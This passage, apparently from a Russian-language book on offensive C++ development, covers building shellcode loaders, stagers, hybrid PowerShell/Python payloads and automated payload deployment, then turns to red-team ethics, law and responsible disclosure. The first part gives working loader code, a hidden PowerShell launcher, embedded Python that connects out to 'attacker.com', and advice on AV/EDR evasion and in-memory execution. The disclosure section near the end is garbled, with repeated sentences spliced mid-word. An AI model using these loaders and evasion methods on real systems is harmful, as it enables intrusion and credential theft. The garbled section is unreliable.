В операциях red team такие пейлоады часто доставляются во время фишинговых кампаний, drive-by-загрузок или бокового перемещения. Поэтому они должны быть маленькими, стабильными и надежными. Написание их на C++ дает вам низкоуровневую мощь, чтобы сделать все это возможным, особенно в сочетании с фреймворками, такими как Metasploit и Cobalt Strike.
Интеграция такого типа позволяет вашим наступательным инструментам обрести реальную полезность - не просто как эксперименты, а как надежные импланты, которые встраиваются в профессиональную инфраструктуру, используемую в операциях по всему миру.

9.2 Пользовательские загрузчики и стаггеры​


В наступательной безопасности пользовательские загрузчики и стаггеры являются невоспетым стержнем доставки пейлоадов. Если вы создаете вредоносное ПО, инструменты red team или просто изучаете механику того, как злоумышленники встраивают код в память и выполняют его, не вызывая тревоги, то понимание того, как проектировать и реализовывать собственные загрузчики и стаггеры на C++, является фундаментальным навыком.
Загрузчик отвечает за прием встроенного или удаленного пейлоада - часто в виде шелл-кода или скомпилированной DLL - и подготовку его к выполнению. Стаггер, с другой стороны, представляет собой небольшой, легкий фрагмент кода, который действует как первая стадия более крупного пейлоада. Его задача - подключиться к удаленному серверу или получить дополнительные стадии, которые обычно более функциональны, но также больше и сложнее.
Начнем с классического сценария: у вас есть пейлоад шелл-кода C2, сгенерированный Metasploit или Cobalt Strike. Вместо того чтобы записывать его напрямую в файл, который легко сканируется и обнаруживается антивирусом, вы хотите встроить этот пейлоад в свою собственную программу на C++ и сделать так, чтобы она выглядела как обычный исполняемый файл - возможно, даже легитимный. Вот где вступает в игру пользовательский загрузчик.
Загрузчик должен выделить исполняемую память, скопировать в нее пейлоад и выполнить его. Он должен делать все это, не записывая пейлоад на диск, потому что, как только шелл-код коснется файловой системы, его станет гораздо легче обнаружить. C++ предоставляет прямой доступ к управлению памятью через Windows API, особенно к таким функциям, как VirtualAlloc, memcpy и приведение к указателям на функции.
Вот простой пример загрузчика шелл-кода, написанного на C++. Предположим, у вас уже есть сгенерированный шелл-код, хранящийся в массиве:

#include <windows.h>
#include <iostream>unsigned char shellcode[] = {
0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, // байты шелл-кода идут сюда
};
int main() {
void* exec_mem = VirtualAlloc(nullptr, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(exec_mem, shellcode, sizeof(shellcode));
((void(*)())exec_mem)();
return 0;
}


Этот минимальный загрузчик заботится о настройке памяти и запуске вашего шелл-кода. Однако эта простота может стать его слабостью. Средства защиты, такие как EDR (Endpoint Detection and Response), обучены распознавать такое поведение, как выделение памяти с правами на выполнение или вызовы в области памяти, не относящиеся к модулям. Именно поэтому реальные загрузчики добавляют уровни обфускации, шифрования или даже задержки выполнения до взаимодействия с пользователем.
Теперь перейдем к стаггерам. Идея здесь состоит в том, чтобы уменьшить размер начального пейлоада. Задача стаггера - подключиться к вашему серверу, загрузить фактический пейлоад, расшифровать его и выполнить "на лету". Такой тип поэтапной доставки особенно полезен, когда вы пытаетесь сохранить свой вредоносный код или имплант маленьким, или когда вам нужно динамически менять пейлоады без перекомпиляции всего загрузчика.
Распространенный подход к стаггерам - использование необработанных сокетов для получения удаленного бинарного блоба с сервера. После получения блоб выполняется в памяти без записи на диск. Вы можете использовать Windows Sockets (WSAStartup, socket, connect, recv) для установки этого соединения, а затем использовать VirtualAlloc для хранения и запуска кода.

Вот концептуальный набросок того, как это работает:

  • ● Стаггер подключается к удаленному серверу по указанному IP и порту
  • ● Он загружает блок зашифрованного шелл-кода или байтов DLL
  • ● Он расшифровывает этот пейлоад с помощью простой процедуры XOR или AES
  • ● Он выделяет память с правами на выполнение
  • ● Он запускает пейлоад непосредственно в памяти


Этот подход не только эффективен, но и модулен. Вы можете обновить сервер для изменения пейлоада или смены ключей шифрования, не изменяя сам бинарный файл стаггера.
В реальных операциях red team вы можете использовать HTTPS или DNS-туннелирование для получения пейлоадов вместо необработанных сокетов. Вы также можете маскировать трафик под легитимные вызовы API к доменам Google или Microsoft. Но по сути, цель стаггера остается прежней: оставаться маленьким, тихим и убедиться, что основная работа выполняется последующими стадиями.
Что делает C++ таким сильным языком для этой задачи, так это его прямой доступ к системным вызовам и нативным API. В отличие от скриптовых языков, C++ предлагает как низкоуровневый контроль памяти, так и высокоуровневую структуризацию, поэтому ваш загрузчик может быть чистым, быстрым и легко настраиваемым.

На практике загрузчик может также интегрировать проверки на отладку (anti-debugging), создание мьютексов для обеспечения одиночного поведения (singleton behavior), обнаружение песочниц и задержку выполнения. Эти функции не просто поддерживают доставку пейлоада - они повышают устойчивость и скрытность, затрудняя для защитников обратное проектирование или анализ вашего бинарного файла.
Понимание того, как работают загрузчики и стаггеры, и создание собственных - это не просто техническое упражнение. Это один из самых практических навыков в наступательном программировании на C++, который дает вам серьезное преимущество при работе с фреймворками, тактиками уклонения и инструментами пост-эксплуатации.

9.3 Гибридные пейлоады с мостами PowerShell и Python​


Бывают ситуации, когда написание всего пейлоада на C++ может быть не идеальным. Иногда вам нужна производительность и низкоуровневый доступ C++, но также гибкость и скриптовые возможности таких языков, как PowerShell или Python. В этих случаях создание гибридных пейлоадов - где ваш код на C++ запускает, встраивает или взаимодействует с PowerShell или Python - дает вам лучшее из обоих миров.
Причина, по которой злоумышленники и специалисты по red team часто используют гибридные пейлоады, проста. PowerShell уже глубоко интегрирован в Windows, а Python распространен в Unix-подобных системах или на машинах разработчиков. Когда вы встраиваете их в обертку или лаунчер на C++, вы увеличиваете свои шансы на успешное выполнение, снижая при этом подозрения.
Давайте рассмотрим практический сценарий: у вас есть скрипт PowerShell, который извлекает учетные данные с помощью встроенных API Windows или взаимодействует с LSASS. Вы не хотите записывать .ps1 файл на диск, потому что его легко обнаружить. Вместо этого вы можете скомпилировать бинарный файл на C++, который запускает PowerShell в памяти и передает ему ваш скрипт в виде строки.
Вот небольшой пример на C++, который вызывает PowerShell через powershell.exe, выполняет команду и ничего не записывает на диск.

#include <windows.h>
#include <iostream>
int main() {
const char* psCommand = "powershell -NoProfile -ExecutionPolicy
Bypass -Command \"Get-Process | Out-File -FilePath
C:\\temp\\proc.txt\"";
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);if (CreateProcessA(
nullptr,
(LPSTR)psCommand,
nullptr,
nullptr,
FALSE,
CREATE_NO_WINDOW,
nullptr,
nullptr,
&si,
&pi
)) {
WaitForSingleObject(pi.hProcess, INFINITE);CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
} else {
std::cerr << "Failed to launch PowerShell." << std::endl;
}
return 0;
}


Этот пейлоад выполнит команду PowerShell без отображения окна. Вы можете заменить psCommand на закодированный или обфусцированный PowerShell, чтобы сделать его более скрытным. Один из популярных подходов - кодирование вашего PowerShell в base64 и передача его с помощью параметра -EncodedCommand.
Вы можете развить ту же концепцию дальше, используя Python. Допустим, у вас есть скрипт Python, который использует модули socket, os или subprocess для создания обратной оболочки. Вместо того чтобы требовать предварительной установки Python на машине жертвы, ваш C++ загрузчик может встроить интерпретатор Python напрямую.
Официальный C API Python Python.h позволяет запускать код Python из C++. Если вы статически скомпилируете ваше C++ приложение с библиотеками Python, вы вообще не будете зависеть от системной установки.Вот базовый пример на C++, который запускает встроенный код Python:

#include <Python.h>
int main() {
Py_Initialize();
const char* pythonCode = R"(
import socket
s = socket.socket()
s.connect(('attacker.com', 4444))
s.send(b'Connected')
s.close()
)";
PyRun_SimpleString(pythonCode);
Py_Finalize();return 0;
}


Этот код запускает Python в памяти и выполняет встроенную логику обратного шелла. Вы можете скомпилировать этот код, используя локальную среду разработки Python (например, пакет Anaconda или встроенные сборки Python) и связать его с вашим исполняемым файлом. В Linux вы свяжете его с помощью -lpython3.x; в Windows используйте файл .lib, предоставленный в каталоге установки Python.
Гибридные полезные нагрузки также позволяют создавать цепочки: C++ дроппер запускает PowerShell, который загружает Python-скрипт, который вызывает скомпилированные общие библиотеки. Такой многоуровневый подход значительно затрудняет обнаружение, особенно когда ни один из компонентов не сбрасывается на диск, а выполнение происходит полностью в памяти.
В реальных операциях такой многоязычный дизайн также позволяет специалистам по красным командам повторно использовать мощные инструменты с открытым исходным кодом. Многие инструменты для кражи учетных данных, утилиты для бокового перемещения и инструменты для перечисления доменов уже написаны на Python или PowerShell. Обертывание их в C++ бинарный файл дает вам контроль над выполнением, обфускацией и доставкой.
Не менее важно, что гибридные полезные нагрузки дают вам возможность адаптироваться к различным средам. На одной машине PowerShell может быть сильно ограничен. На другой может отсутствовать Python. Поддерживая несколько мостов в вашей полезной нагрузке, вы увеличиваете вероятность успешного выполнения кода и последующих действий после эксплуатации.
Таким образом, встраивая и контролируя PowerShell и Python из ваших C++ бинарных файлов, вы делаете ваши полезные нагрузки более гибкими, динамичными и скрытными. Речь идет не просто о запуске кода, а о его запуске наиболее скрытным и адаптивным способом.

9.4 Автоматизация генерации и развертывания полезных нагрузок​


Когда вы регулярно создаете полезные нагрузки - будь то для красных команд, разработки эксплойтов или тестирования на проникновение - выполнение всего вручную быстро становится утомительным и подверженным ошибкам. Написание кода, его компиляция, встраивание шелл-кода, настройка механизмов доставки и развертывание полезной нагрузки на ваших целях может включать в себя дюжину повторяющихся шагов. Автоматизация устраняет узкое место, уменьшает количество ошибок и значительно упрощает эффективное масштабирование наступательных операций.
Для автоматизации генерации полезных нагрузок на C++ первое, что вам нужно, - это последовательный способ встраивания шелл-кода или динамической генерации полезных нагрузок на основе определяемых пользователем параметров. Допустим, вы встраиваете шелл-код обратного шелла или используете шаблоны, которые различаются в зависимости от целевой платформы или архитектуры. Вместо того чтобы каждый раз копировать и вставлять шестнадцатеричные значения в исходный код C++, вы можете создать скрипт сборки, который читает необработанный бинарный шелл-код из файла и генерирует файл .cpp или .h, содержащий массив шелл-кода.
Небольшой скрипт на Python может помочь преобразовать шелл-код в синтаксис C++. Вот простой пример:

shellcode = open("reverse_shell.bin", "rb").read()
formatted = ", ".join("0x{:02x}".format(b) for b in shellcode)with open("shellcode_payload.h", "w") as f:
f.write(f"unsigned char payload[] = {{ {formatted} }};\n")
f.write(f"unsigned int payload_len = {len(shellcode)};\n")


Вы можете включить этот заголовочный файл непосредственно в исходный код вашей полезной нагрузки и скомпилировать его, даже не касаясь полезной нагрузки вручную. Этот процесс также упрощает интеграцию вывода шелл-кода из Metasploit, msfvenom, Cobalt Strike или ваших пользовательских инструментов.
Теперь о развертывании. Автоматизация развертывания не означает создание большой фреймворка с нуля. Это означает объединение инструментов, которые вы уже используете, в надежную цепочку. Предположим, ваши полезные нагрузки необходимо скомпилировать, обфусцировать, подписать и подавать с веб-сервера или отправлять через фишинговую приманку. Вы можете автоматизировать весь процесс с помощью Bash, PowerShell или Python.
Например, Bash-скрипт на машине сборки под управлением Linux может:

  • ● Скомпилировать C++ полезную нагрузку с помощью g++ или clang++
  • ● Удалить отладочные символы с помощью strip
  • ● Обфусцировать строки с помощью пользовательского скрипта
  • ● Переместить финальный бинарный файл в каталог веб-сервера для загрузки
  • ● Записать время и хэш полезной нагрузки для отслеживания


Вот краткий пример:

#!/bin/bash
g++ -O2 -fPIC -o payload payload.cpp
strip payload
python3 obfuscate_strings.py payload
cp payload /var/www/html/payloads/
sha256sum payload >> deployment_log.txt


Когда вы связываете это с системой контроля версий (например, Git) и добавляете хуки в стиле CI, ваш конвейер сборки и доставки полезных нагрузок становится таким же гладким, как в профессиональной разработке программного обеспечения.
Для кампаний красных команд или симуляций мероприятий автоматизация развертывания может также включать такие методы, как отправка полезной нагрузки по электронной почте, генерация вредоносных документов со встроенными полезными нагрузками или создание однострочных дропперов, которые загружают и выполняют ваш скомпилированный код. Вы можете генерировать эти дропперы, используя шаблоны, где переменные, такие как IP-адрес и порт, динамически вставляются в зависимости от среды развертывания текущей операции.
Практический способ управления этой сложностью - использование автоматизации на основе Python с шаблонами jinja2. Вы можете один раз написать шаблоны полезных нагрузок и использовать скрипт для генерации новых полезных нагрузок с данными, специфичными для среды, по запросу. Вот упрощенный пример:

rom jinja2 import Template
template = Template(open("dropper_template.ps1").read())
payload = template.render(ip="10.0.0.5", port="4444")
with open("dropper.ps1", "w") as f:
f.write(payload)


Та же концепция применима независимо от того, генерируете ли вы файлы PowerShell, C++, макросы VBA или HTA. Автоматизация обеспечивает согласованность, скорость и адаптивность.
В конечном итоге, автоматизация генерации и развертывания полезных нагрузок не только экономит время, но и снижает риски. Исключая человеческий фактор из повторяющихся, конфиденциальных шагов, вы избегаете неправильных конфигураций, забывчивости и несогласованности между сборками. Независимо от того, симулируете ли вы сложного злоумышленника или создаете инструменты для повторяемых упражнений красных команд, такой уровень контроля становится конкурентным преимуществом.
В условиях высокой степени риска даже такая мелочь, как забытый флаг компилятора или потерянный файл полезной нагрузки, может сорвать операцию. Автоматизация гарантирует, что этого не произойдет. С хорошо настроенной системой вы можете перейти от рабочего доказательства концепции к развернутому бинарному файлу на вашей целевой сети за считанные секунды, с полными журналами аудита и гибкостью для регенерации всего на лету.


Глава 10 - Ответственное использование, этика июридические границы​


На протяжении всей этой книги вы исследовали технические методы, которые могут расширить границы возможного в наступательной безопасности с использованием C++. Вы видели, как создавать инструменты, писать шелл-код, уклоняться от обнаружения и использовать уязвимости. Но ничто из этого никогда не должно отделяться от одного существенного контекста: ответственности. Сила взлома или обхода систем также влечет за собой абсолютное требование использовать эту силу этично, законно и профессионально.
Когда вы пишете инструменты для красных команд или код для наступательной безопасности, вы часто работаете в "серых зонах", где ваши намерения и ваше разрешение имеют большее значение, чем сам код. Неправильное использование - даже случайное - может привести к реальному ущербу для отдельных лиц, предприятий и целых инфраструктур. Итак, давайте честно и откровенно рассмотрим этические и юридические обязанности, которые определяют профессиональную работу в области наступательной безопасности.

10.1 Этика и авторизация красных команд​


Прежде чем написать строку кода, имитирующего атаку, прежде чем поместить полезную нагрузку в память или создать фишинговую кампанию, первый вопрос, который вы должны себе задать: есть ли у меня разрешение? Не подразумеваемое разрешение. Не "они, вероятно, этого ожидают". Реальное, явное, задокументированное разрешение.
Красные команды - это профессиональная наступательная безопасность. Вы эмулируете тактику противника, но с одним отличием: вы делаете это по контракту, с согласованными границами. Без этих четко установленных границ то, что вы делаете, не является красной командой. Это несанкционированный доступ. И во многих юрисдикциях это уголовное преступление.
Когда организация нанимает красную команду, она доверяет вам вести себя дисциплинированно, осмотрительно и добросовестно. Этому доверию никогда нельзя пренебрегать. Ваша миссия - не ломать вещи. Ваша миссия - раскрывать риски контролируемым образом, чтобы организация могла их устранить до того, как кто-то другой ими воспользуется. Это образ мышления, который должен пронизывать все, что вы делаете, от тестирования инфраструктуры до разработки вредоносного ПО.
Надлежащее взаимодействие всегда начинается с области работ и подписанного документа "Правила взаимодействия". Эта область определяет, какие системы вам разрешено тестировать, какие методы разрешено использовать и при каких условиях. Иногда физические атаки исключены. В других случаях вам может быть запрещено нацеливаться на определенные производственные серверы или требоваться уведомить контактное лицо при срабатывании определенных индикаторов.
От вас также ожидается определение критериев выхода - что означает завершение цели и как вы будете убирать за собой. Хорошая красная команда не оставляет после себя мусора, не работающих процессов и файловых артефактов, которые могли бы навредить операциям бизнеса в дальнейшем. Если вы сбрасываете вредоносное ПО или загрузчики в рамках теста, вы должны быть готовы удалить каждый байт из них по окончании взаимодействия.

Поговорим об авторизации в контексте разработки инструментов. Предположим, вы создаете обратный шелл на C++ для оценки красной команды клиента. Он подключается по HTTPS и обеспечивает полный удаленный контроль. Сам по себе это мощный, но и опасный инструмент. Если вы протестируете его на инфраструктуре, не принадлежащей клиенту, или если ваш сервер управления и контроля (C2) размещен в неконтролируемой среде, вы создаете риск без согласия.
Чтобы работать безопасно, всегда тестируйте в контролируемой лаборатории. Используйте известные безопасные IP-адреса. Настройте логирование и оповещение. И если вы работаете в составе красной команды в более крупной фирме по безопасности, координируйте свои действия с юридическим отделом и отделом соответствия требованиям. Вы должны знать, кому принадлежит каждая система, к которой вы прикасаетесь, и у вас должны быть подписанные документы, подтверждающие, что ваши действия ожидаемы и разрешены.
Теперь рассмотрим этику за пределами разрешения. То, что что-то разрешено, не всегда делает его ответственным. Например, использование уязвимости, которая приводит к перезагрузке производственной системы, может быть технически в рамках допустимого, но если вы знаете, что эта система контролирует оборудование жизнеобеспечения или общественные коммунальные услуги, принятие такого решения никогда не должно приниматься легкомысленно.
Именно здесь проявляется зрелость красной команды. Любитель тестирует все, что ему разрешено. Профессионал выбирает, что не тестировать, исходя из потенциального воздействия, даже если это разрешено. Они понимают, что ответственный хакинг означает больше, чем юридическая безопасность - он означает размышление о реальных последствиях.
Приведем практический пример. Скажем, вы пишете C++ загрузчик, который внедряет полезную нагрузку в целевое приложение. Вы тщательно протестировали его в своей лаборатории, и теперь пришло время развернуть его в рамках взаимодействия. Но эта целевая система запускает программное обеспечение, которое обрабатывает финансовые транзакции. Ваш загрузчик вызывает кратковременный всплеск нагрузки на ЦП во время внедрения. Если этот всплеск задержит обработку транзакций, это может повлиять на клиентов или соответствие требованиям.
В этом случае вы останавливаетесь. Вы звоните контактному лицу клиента. Вы спрашиваете: "Эта тактика разрешена, но вот потенциальное воздействие. Вы согласны с тем, чтобы мы продолжили, или вы предпочитаете альтернативную технику?" Это не просто хорошее общение. Это профессиональная этика.

Этика также распространяется на раскрытие информации. Если вы обнаружите критическую уязвимость, которая не входила в ваш план тестирования - возможно, в стороннем приложении, используемом клиентом - вы все равно сообщите о ней. Тихо. Ответственно. Вы документируете свои выводы и даете поставщику возможность исправить проблему до того, как она станет общедоступной. Вы не превращаете ее в оружие. Вы не оставляете ее для личного использования.
Наконец, помните о культурных и психологических последствиях ваших действий. Фишинг пользователей, симуляция социальной инженерии или выдача себя за руководителей могут вызвать стресс, замешательство или смущение, если они выполнены плохо. Всегда работайте с отделом кадров или юридическим отделом, чтобы составить сообщения, которые уважают сотрудников. Ваша работа - не ловить людей на ошибках. Ваша работа - помочь бизнесу увидеть, где его защита (и обучение) могут быть усилены.
Этика красных команд - это не просто "не причинять вреда". Это значит быть достойным доверия. Организации, которые нанимают вас, предоставляют вам доступ, за который злоумышленники готовы убить. Они ожидают, что вы будете обращаться с ним с осторожностью, интеллектом и сдержанностью.

10.2 Правовые рамки (CFAA, GDPR и т. д.)​


Если вы разрабатываете инструменты для наступательной безопасности или проводите операции красных команд, понимание закона не является необязательным - оно необходимо. Когда вы работаете на грани законного и уголовного, один неверный шаг может привести к судебным искам, потере контрактов или даже уголовному преследованию. Итак, давайте поговорим четко и прямо о правовых рамках, которые регулируют хакерскую деятельность и цифровые вторжения, особенно в контексте красных команд и разработки вредоносного ПО.
В Соединенных Штатах одним из основополагающих законов, о котором вам нужно знать, является Закон о мошенничестве и злоупотреблениях в компьютерной сфере (Computer Fraud and Abuse Act, CFAA). Он был принят в 1986 году и до сих пор активно применяется. Этот закон криминализирует несанкционированный доступ к компьютерам и сетям. Ключевое слово здесь - "несанкционированный". Если вы получаете доступ к системе без явного разрешения, даже если вы делаете это для демонстрации уязвимости, вы можете нарушить федеральный закон.
Теперь, что юридически означает "несанкционированный"? На практике это означает, что владелец системы не дал вам письменного разрешения. Не устное одобрение. Не предполагаемое разрешение.

Фактическое письменное разрешение. Например, если вы сканируете диапазон IP-адресов, который не входит в область вашего взаимодействия, даже если он является частью сети той же компании, вы вступаете на незаконную территорию. CFAA не различает добрые намерения и плохие последствия. Его волнует только то, были ли вы там, где должны были быть.
CFAA использовался для преследования как внешних хакеров, так и инсайдеров, которые получили доступ к данным, к которым не должны были. И он достаточно расплывчат, что подвергся критике со стороны исследователей безопасности и организаций, защищающих гражданские свободы. Тем не менее, в его нынешнем виде это закон, и вы должны учитывать его на каждом этапе разработки своих наступательных инструментов.
Если вы работаете в Европе или обрабатываете данные граждан ЕС, тогда Общий регламент по защите данных (GDPR) становится критически важным. GDPR - это не только о нарушениях данных, но и о том, как персональные данные собираются, хранятся, обрабатываются и передаются. В соответствии с GDPR несанкционированный доступ к персональным данным - даже в целях тестирования - может рассматриваться как серьезное нарушение.
Допустим, вы пишете кейлоггер на C++ для внутреннего тестирования. Если этот кейлоггер случайно захватит учетные данные, банковскую информацию или идентифицируемые личные данные сотрудника или клиента, вы теперь подпадаете под действие GDPR, даже если намерение состояло в том, чтобы помочь организации обезопасить свои конечные точки. GDPR уделяет большое внимание согласию, необходимости и минимизации. Поэтому, если ваш инструмент собирает больше данных, чем необходимо, или хранит их дольше, чем необходимо, вы можете создать юридическую уязвимость.
Еще один закон, который стоит знать, - это Закон об авторском праве в цифровую эпоху (Digital Millennium Copyright Act, DMCA), особенно раздел 1201. Он запрещает обход механизмов контроля доступа, даже если вы владеете устройством или системой. Если вы создаете инструменты, которые обходят цифровые права управления (DRM) или процедуры аутентификации - даже в исследовательских целях - вы можете нарушить DMCA, если нет специального исключения.
Переходя к корпоративным контекстам, многие организации требуют, чтобы операции красных команд соответствовали внутренним правовым и нормативным рамкам. Например, публичные компании часто подпадают под действие правил Сарбейнса-Оксли (SOX), которые влияют на то, как должны храниться журналы и аудиторские следы. Если ваше вредоносное ПО или шелл-код отключает или манипулирует механизмами логирования во время взаимодействия красной команды, вы можете вмешиваться в юридически защищенные записи.
Вам также необходимо знать о договорном праве. Каждое взаимодействие регулируется юридическими соглашениями - техническими заданиями, соглашениями о неразглашении и сервисными контрактами. Эти документы определяют, что вам разрешено делать, а что категорически запрещено. Нарушение их - это не просто непрофессионализм, это может быть нарушением условий контракта, что приведет к ответственности за ущерб или нарушению доверия.

А затем существует международное право. Если ваша полезная нагрузка обращается к серверу за пределами страны, где проводится тестирование, вы потенциально подпадаете под действие законов обеих стран. Например, запуск сервера C2 в стране со строгими законами о резидентности данных и последующее использование его для сбора тестовых данных от клиента в другой юрисдикции может привести к нарушению правил трансграничной передачи данных.
Вот реальный сценарий. Красная команда создает C++ обратный шелл и тестирует его внутри внутренней сети компании. Все идет хорошо, но один оператор по ошибке запускает его против резервной среды, размещенной в облаке сторонним поставщиком. Эта облачная система не была указана в области работ. Даже если данные принадлежат той же компании, инфраструктура - нет, и поставщик подает жалобу. Эта красная команда теперь создала юридическую уязвимость как для себя, так и для своего клиента.
Самый безопасный подход - это всегда прозрачность и документация. Получите область работ в письменном виде. Точно определите, какие системы, пользователи и инструменты задействованы. Регистрируйте все. Если вы обнаружили что-то критическое за пределами области работ, остановитесь и эскалируйте. Этот единственный момент осторожности может сэкономить вам часы юридических проблем и защитить ваши отношения с клиентом.
Работа в этой области требует не только технических навыков, но и юридической осведомленности и сдержанности. Вы не просто пишете код. Вы работаете в правовой среде, сформированной десятилетиями законодательства и судебных решений. Понимание этой среды - часть вашей работы, и именно это отличает профессионалов от оппортунистов.
Если вы когда-либо сомневаетесь, не делайте предположений. Поговорите со своей юридической командой, клиентом или специализированным юристом по технологиям. Спросить перед действием - всегда более безопасный путь.

10.3 Безопасные среды тестирования и ответственное раскрытие​


При работе с инструментами для наступательной деятельности, техниками вредоносного ПО или кодом эксплойтов недостаточно знать, как их создавать или развертывать - вам нужно тестировать безопасно и ответственно делиться информацией. Ошибка в этой области может привести к сбою производственных систем, утечке конфиденциальных данных или непреднамеренному пересечению юридических границ. Именно поэтому безопасные среды тестирования и ответственное раскрытие являются обязательными компонентами профессиональной работы красных команд и разработки эксплойтов.
Надлежащая среда тестирования полностью изолирована от производства. Это означает, что вы используете не просто другую папку на своей основной машине разработки, а изолированную лабораторную среду, в идеале виртуализированную, где вы можете контролировать каждое сетевое соединение, образ ОС и настройки конфигурации. Это позволяет вам тестировать полезные нагрузки вредоносного ПО, имитировать боковое перемещение или запускать эксплойты повышения привилегий без риска для инфраструктуры вашего работодателя или клиента.
Надежная лабораторная установка обычно включает гипервизор, такой как VirtualBox, VMware Workstation или KVM. В этом изолированном пространстве вы можете запускать Windows, Linux или даже нишевые встраиваемые системы для тестирования своего кода против реалистичных целей. Вы можете отслеживать память, перехватывать трафик, подключать отладчики или создавать снимки и откаты по своему усмотрению. Многие продвинутые тестировщики идут дальше, создавая виртуальные сети, имитирующие доменные среды - Active Directory, DNS, общие папки - потому что многие полезные нагрузки ведут себя по-разному в зависимости от наличия или отсутствия этих служб.
Допустим, вы тестируете кейлоггер или загрузчик шелл-кода. Без изолированной среды тот же код может начать записывать ваши собственные учетные данные или отправлять запросы на живой сервер. Если вы пишете доказательство концепции вредоносного ПО, которое включает реальное выполнение полезной нагрузки, оно никогда не должно запускаться на системе, подключенной к Интернету, если вы не используете локальные или безопасные имитационные конечные точки. Случайное обращение к общедоступному IP-адресу или серверу C2 - даже в тестовых целях - может вызвать срабатывание систем обнаружения вторжений или вызвать серьезные опасения у вашего интернет-провайдера или поставщика услуг хостинга.

Если вы имитируете обход антивируса или обнаружение песочницы, ваша тестовая среда должна воспроизводить реальные ограничения. Это означает имитацию распространенных конфигураций программного обеспечения и разрешение работы некоторых инструментов AV или EDR. Например, внедрение в explorer.exe в изолированной виртуальной машине дает представление о том, как ведут себя реальные средства защиты, не рискуя вашей основной машиной. НаЕсли вы эмулируете обход антивируса или обнаружение песочницы, ваша тестовая среда должна имитировать реальные ограничения. Это означает имитацию распространенных конфигураций программного обеспечения и разрешение работы некоторых инструментов AV или EDR. Например, инъекция в explorer.exe в изолированной виртуальной машине дает представление о том, как ведут себя реальные средства защиты, не подвергая риску вашу хост-машину.

С другой стороны этого уравнения находится раскрытие информации. другой стороне этого уравнения находится раскрытие информации. Если вы обнаружили ранее неизвестную уязвимость, возможно, во время фаззинга, обратной разработки или статического анализа, у вас есть профессиональная и этическая обязанность сообщить о ней. Этот процесс называется ответственным раскрытием.

Ответственное раскрытие начинается с понимания того, что ваша цель - не публичность, а защита. Вы даете пострадавшей стороне, обычно поставщику или сопровождающему проекта, шанс исправить проблему до того, как детали станут общедоступными. Начните с поиска правильного контакта, которым часто является адрес электронной почты security@ или Если вы обнаружили ранее неизвестную уязвимость - возможно, во время фаззинга, обратного инжиниринга или статического анализа - у вас есть профессиональная и этическая обязанность сообщить о ней. Этот процесс называется ответственным раскрытием информации.

Ответственное раскрытие информации начинается форма на их сайте. Будьте четкими, уважительными и краткими. Включите номера версий, шаги для воспроизведения и, при необходимости, рабочий концептуальный пример (proof of concept). Не отправляйте полные эксплойты, если вас не попросят, и никогда с понимания того, что ваша цель - не публичность, а защита. Вы даете пострадавшей стороне - обычно поставщику или сопровождающему проекта - возможность устранить проблему до того, как детали станут общедоступными. Начните с поиска правильного контакта, которым часто является адрес электронной почты security@ илиЕсли вы эмулируете обход антивируса или обнаружение песочницы, ваша тестовая среда должна воспроизводить реальные ограничения не используйте угрожающий язык или не требуйте оплаты, если вы не участвуете в программе поиска ошибок (bug bounty).

Также крайне важно предоставить им разумные сроки. Многие организации придерживаются 90-дневного или 120-дневного окна перед публичным раскрытием, хотя форма на их сайте. Будьте ясны, уважительны и кратки. Включите номера версий, шаги для воспроизведения и, при необходимости, рабочий концепт-доказательство (proof of concept). Не отправляйте полные эксплойты, если вас об этом не про это может варьироваться. Некоторые поставщики отвечают быстро. Другие молчат. Если они игнорируют вас или отклоняют проблему, вы можете в конечном итоге решить опубликовать свои выводы, но только после проведения должной осмотрительности и документирования каждого шага.

Реальным. Это означает имитацию распространенных конфигураций программного обеспечения и разрешение работы некоторых инструментов AV или EDR. Например, внедрение в explorer.exe в изолированной виртуальной машине дает представление о том, как ведут себя реальные средства защиты, не рискуя вашей основной машиной.

На другой стороне этого примером безопасного раскрытия было бы обнаружение переполнения буфера в устаревшем приложении, которое все еще используется в корпоративных средах. После проверки сбоя и подтверждения его эксплуатируемости вы уведомляете поставщика. Через два месяца они исправляют его в обновлении, отмечасят, и никогда не используйте угрожающий язык или не требуйте оплаты, если вы не участвуете в программе поиска ошибок (bug bounty).

Также крайне важно предоставить им разумный срок. Многие организации придерживаются 90- или 120-дневного окна перед публичным раскрытием, хотя это может варьироваться. Некоторые поставщики реагируют быстро. Другие молчат. Если они вас игнорируют или отклоняют проблему, вы можете в конечном итоге решить опубликовать свои выводы, но только после проведения должной проверки и документирования каждого шага.

Реальным примером безопасют вашу работу, и вы публикуете технический отчет, подробно описывающий ваш метод и влияние. Это приносит пользу сообществу, защищает пользователей и укрепляет вашу репутацию ответственного исследователя.

В отличие от этого, публикация zero-day на общедоступном форуме до уведомления поставщика риску уравнения находится раскрытие информации. Если вы обнаружили ранее неизвестную уязвимость, возможно, во время фаззинга, обратной инженерии или статического анализа, у вас есть профессиональная и этическая обязанность сообщить о ней. Этот процесс называется ответственным раскрытием информации.

Ответственное раскрытиеного раскрытия информации было бы обнаружение переполнения буфера в устаревшем приложении, которое все еще используется в корпоративных средах. После проверки сбоя и подтверждения его эксплуатируемости вы уведомляете поставщика. Через два месяца они исправляют его в обновлении, отмечают вашует немедленной эксплуатацией и ставит под угрозу системы по всему миру. Это не исследование - это безрассудство.

Наконец, вы всегда должны вести подробные журналы своих тестовых действий. Это включает IP-адреса, хэши полезной нагрузки, конфигурации системы работу, и вы публикуете технический отчет с описанием вашего метода и воздействия. Это приносит пользу сообществу, защищает пользователей и укрепляет вашу репутацию как ответственного исследователя.

В отличие от этого, публикация zero-day на общедоступном форуме до уведомления поставщика рискует не, временные метки и любые аномалии. Эти журналы защищают вас в случае возникновения проблем и помогают воспроизводить их позже. Что еще более важно, они являются частью профессионального рабочего процесса, который отличает этичных операторов от любителей. Работа в этой сфере означает отношение к своей работе с той же серьезностью, с информации начинается с понимания того, что ваша цель - не публичность, а защита. Вы даете пострадавшей стороне, обычно поставщику или сопровождающему проекта, возможность устранить проблему до того, как детали станут общедоступными. Начните с поиска правильного контакта, которым часто является адрес электронной почты securityмедленной эксплуатацией и ставит под угрозу системы по всему миру. Это не исследование - это безрассудство.
